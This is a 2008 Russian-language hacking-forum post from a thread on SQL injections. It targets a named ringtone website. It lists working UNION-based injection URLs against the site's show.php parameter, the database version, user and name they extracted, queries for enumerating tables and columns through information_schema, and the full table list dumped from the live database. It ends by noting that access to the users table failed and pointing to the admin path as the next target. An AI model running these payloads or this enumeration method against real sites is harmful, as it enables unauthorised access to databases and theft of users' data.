SQL Инъекции

#11

29.07.2008, 19:52

~~otmorozok428~~

Banned

Регистрация: 19.10.2007

Сообщений: 152

С нами: 9769519

Репутация: 415

ToneZ.NET.RU - Мелодии для мобильных телефонов

Цитата:

http://tonez.net.ru/show.php?model=4+union+select+1,2,3,4,5/*
http://tonez.net.ru/show.php?model=4+union+select+1,2,3,concat_ws(char (58,58),version(),user(),database()),5/*

version(): 5.0.45-log
user(): u14145@10.10.10.222
database(): u14145

Список таблиц-столбцов получаем так:

Код:

http://tonez.net.ru/show.php?model=4+union+select+1,2,3,table_name,5+from+information_schema.tables/*
http://tonez.net.ru/show.php?model=4+union+select+1,2,3,column_name,5+from+information_schema.columns+where+table_name+like+char(117,115,101,114,115)/*

Таблицы в базе:

Код:

_pictures
authors
baners
bannertext
catalog
content_sup
melodies
mnews
models
mp3
mp3_pictures
mp3_trash
p_authors
p_authors_copy
p_authors_trash
p_melodies
p_melodies_copy
p_melodies_replace
p_melodies_trash
p_pictures
p_popsearch
pictures
popsearch
voice
voice_trash
accgames
brends
car_fmk
car_img
car_info
codes
countries
firmbrends
firmparts
firms
games
genres
kpk
operators
patches
ph_game_images
ph_game_phones
ph_games
ph_genre
ph_phones
ph_top_games
ph_update
phones
q1
sites
subscribe
subscribe_themes
subscribe_users
targeting
towns
users
works

К сожалению, для доступа к самым интересным таблицам (типа users) не хватает прав. Жаль, ведь счастье было так близко... Может быть, здесь:

Цитата:

http://tonez.net.ru/admin